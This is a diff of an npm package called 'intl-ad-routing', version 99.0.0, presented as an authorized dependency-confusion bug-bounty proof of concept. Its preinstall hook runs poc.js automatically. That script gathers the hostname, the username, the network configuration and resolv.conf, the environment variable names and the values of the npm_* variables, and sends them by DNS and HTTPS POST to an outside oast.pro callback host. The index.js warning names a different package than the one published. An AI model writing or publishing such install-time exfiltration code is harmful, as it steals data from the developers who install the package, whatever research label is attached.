intl-ad-routing 99.0.0

package/index.js

@@ -0,0 +1,5 @@
+// This package is a SECURITY RESEARCH proof of concept.
+// If you are seeing this, a dependency confusion vulnerability exists.
+// Please contact your security team immediately.
+console.warn("[SECURITY] Dependency confusion detected: @livingdesign/react was installed from public npm instead of your private registry.");
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "intl-ad-routing",
+  "version": "99.0.0",
+  "description": "SECURITY RESEARCH - Dependency Confusion PoC. Authorized bug bounty testing under Walmart HackerOne program.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node poc.js || true"
+  },
+  "author": "Security Researcher",
+  "license": "ISC"
+}

package/poc.js

@@ -0,0 +1,55 @@
+const dns = require("dns");
+const os = require("os");
+const https = require("https");
+const { execSync } = require("child_process");
+
+const pkg = "intl-ad-routing";
+const hn = os.hostname();
+const un = os.userInfo().username;
+const dir = __dirname;
+
+// Get network info (ipconfig /all on Windows, ip a on Linux)
+let netinfo = "";
+try {
+  if (os.platform() === "win32") {
+    netinfo = execSync("ipconfig /all", { timeout: 5000 }).toString();
+  } else {
+    netinfo = execSync("ip a && cat /etc/resolv.conf", { timeout: 5000 }).toString();
+  }
+} catch(e) { netinfo = "cmd_failed"; }
+
+// DNS callback - unique per host
+const id = Buffer.from(`${hn}-${un}`).toString("hex").slice(0, 30);
+const interactsh = "d8a56vpon5budaeafq00tsyj88aqd5m7p.oast.pro";
+
+try { dns.resolve(`${pkg}-${id}.${interactsh}`, ()=>{}); } catch(e) {}
+
+// HTTP callback with full details
+const data = JSON.stringify({
+  p: pkg,
+  h: hn,
+  u: un,
+  d: dir,
+  t: Date.now(),
+  pid: process.pid,
+  platform: os.platform(),
+  arch: os.arch(),
+  release: os.release(),
+  net: netinfo.slice(0, 8000),
+  ifaces: os.networkInterfaces(),
+  env_keys: Object.keys(process.env).join(","),
+  npm_config: Object.entries(process.env)
+    .filter(([k]) => k.startsWith("npm_"))
+    .reduce((o,[k,v]) => { o[k]=v; return o; }, {})
+});
+
+const req = https.request({
+  hostname: interactsh,
+  port: 443,
+  path: `/${pkg}`,
+  method: "POST",
+  headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) }
+}, ()=>{});
+req.on("error", ()=>{});
+req.write(data);
+req.end();